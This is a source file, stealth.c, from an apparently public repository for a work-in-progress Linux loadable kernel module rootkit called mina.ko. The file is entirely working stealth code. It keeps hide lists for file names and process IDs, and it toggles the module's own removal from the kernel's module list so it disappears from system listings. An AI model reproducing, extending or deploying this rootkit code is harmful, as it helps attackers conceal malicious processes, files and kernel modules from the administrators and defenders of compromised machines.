mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
stealth.c (3279B)
      1 #include <linux/delay.h>
      2 #include <linux/fs.h>
      3 #include <linux/init.h>
      4 #include <linux/kernel.h>
      5 #include <linux/kprobes.h>
      6 #include <linux/kthread.h>
      7 #include <linux/module.h>
      8 #include <linux/slab.h>
      9 #include <linux/version.h>
     10 
     11 #include "../includes/mina.h"
     12 
     13 /* ------============= GLOBALS ==============----- */
     14 static char *mina_module_name = NULL;
     15 module_param(mina_module_name, charp, S_IRUSR);
     16 
     17 /* ------============= STRUCTS ==============----- */
     18 /* Simple struct to keep in memory the files we want to hide */
     19 struct st_hide_file {
     20     char *name;
     21     struct list_head list;
     22 };
     23 LIST_HEAD(hide_files);
     24 
     25 /* Simple struct to keep in memory the PIDs we want to hide */
     26 struct st_hide_pid {
     27     pid_t pid;
     28     struct list_head list;
     29 };
     30 LIST_HEAD(hide_pids);
     31 
     32 static void file_unhide(char *name) {
     33     struct st_hide_file *_file, *tmp;
     34     list_for_each_entry_safe(_file, tmp, &hide_files, list) {
     35         if (strncmp(name, _file->name, strlen(_file->name)) == 0) {
     36             list_del(&_file->list);
     37 
     38             kfree(_file->name);
     39             kfree(_file);
     40             break;
     41         }
     42     }
     43 }
     44 
     45 static void file_hide(char *name) {
     46     struct st_hide_file *_file;
     47 
     48     if (name == NULL || name[0] == '\0') {
     49         printk(KERN_INFO "[mina] module-name is null !");
     50         return;
     51     }
     52     _file = kmalloc(sizeof(*_file), GFP_KERNEL);
     53     if (!_file)
     54         return;
     55     _file->name = name;
     56     list_add(&_file->list, &hide_files);
     57 }
     58 
     59 void pid_unhide(pid_t pid) {
     60     struct st_hide_pid *_pid, *tmp;
     61     list_for_each_entry_safe(_pid, tmp, &hide_pids, list) {
     62         if (_pid->pid == pid) {
     63             list_del(&_pid->list);
     64             kfree(_pid);
     65             break;
     66         }
     67     }
     68 }
     69 
     70 void pid_hide(pid_t pid) {
     71     struct st_hide_pid *_pid;
     72 
     73     _pid = kmalloc(sizeof(*_pid), GFP_KERNEL);
     74     if (!_pid)
     75         return;
     76     _pid->pid = pid;
     77     list_add(&_pid->list, &hide_pids);
     78 }
     79 
     80 static int file_lookup_hidelist(char *name) {
     81     struct st_hide_file *tmp_file;
     82 
     83     list_for_each_entry(tmp_file, &hide_files, list) {
     84         if (strncmp(name, tmp_file->name, strlen(tmp_file->name)) == 0) {
     85             return 1;
     86         }
     87     }
     88     return 0;
     89 }
     90 
     91 int pid_lookup_hidelist(pid_t pid) {
     92     struct st_hide_pid *tmp_pid;
     93 
     94     list_for_each_entry(tmp_pid, &hide_pids, list) {
     95         if (tmp_pid->pid == pid) {
     96             return 1;
     97         }
     98     }
     99     return 0;
    100 }
    101 
    102 static int toggle_hide_file(void) {
    103     if (!file_lookup_hidelist(mina_module_name)) {
    104         printk(KERN_INFO "[mina] hiding file\n");
    105         file_hide(mina_module_name);
    106     } else {
    107         printk(KERN_INFO "[mina] revealing file\n");
    108         file_unhide(mina_module_name);
    109     }
    110     return 1;
    111 }
    112 
    113 void toggle_hide_module(void) {
    114     static int current_module_is_hidden = 0;
    115     static struct list_head *prev_module = NULL;
    116 
    117     toggle_hide_file();
    118 
    119     if (current_module_is_hidden == 1) {
    120         if (prev_module) {
    121             list_add(&THIS_MODULE->list, prev_module);
    122             printk(KERN_INFO "[mina] welcome back!\n");
    123         } else {
    124             printk(KERN_ERR "[mina] prev_module is NULL\n");
    125         }
    126         current_module_is_hidden = 0;
    127     } else {
    128         prev_module = THIS_MODULE->list.prev;
    129         list_del(&THIS_MODULE->list);
    130         current_module_is_hidden = 1;
    131     }
    132 }